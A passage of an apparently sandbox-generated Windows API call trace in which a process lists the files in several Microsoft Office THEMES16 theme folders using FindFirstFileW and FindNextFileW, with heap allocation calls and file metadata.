lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bfc670, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bfc670, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bfc670, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.515] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bfc670, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bfc670, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bfc670, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.515] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.515] GetProcessHeap () returned 0xaf0000 [0286.515] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.515] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0286.515] GetProcessHeap () returned 0xaf0000 [0286.515] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0286.515] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.515] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bfc670, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bfc670, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bfc670, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0286.516] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bfc670, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bfc670, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bfc670, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0286.516] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.516] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.516] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.516] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0286.516] GetProcessHeap () returned 0xaf0000 [0286.516] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.516] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0286.516] GetProcessHeap () returned 0xaf0000 [0286.516] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.516] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.517] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.517] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0286.517] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0286.517] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.517] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.517] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.517] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.517] GetProcessHeap () returned 0xaf0000 [0286.517] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.517] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0286.517] GetProcessHeap () returned 0xaf0000 [0286.517] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0286.518] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.518] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0286.518] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0286.518] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.518] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.518] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.518] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.518] GetProcessHeap () returned 0xaf0000 [0286.518] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.518] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0286.518] GetProcessHeap () returned 0xaf0000 [0286.518] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.518] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.519] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.519] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0286.519] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0286.519] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.519] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.519] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.519] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.520] GetProcessHeap () returned 0xaf0000 [0286.520] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.520] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0286.520] GetProcessHeap () returned 0xaf0000 [0286.520] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.520] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.520] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0286.520] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0286.521] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.521] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.521] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.521] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.521] GetProcessHeap () returned 0xaf0000 [0286.521] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.521] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, 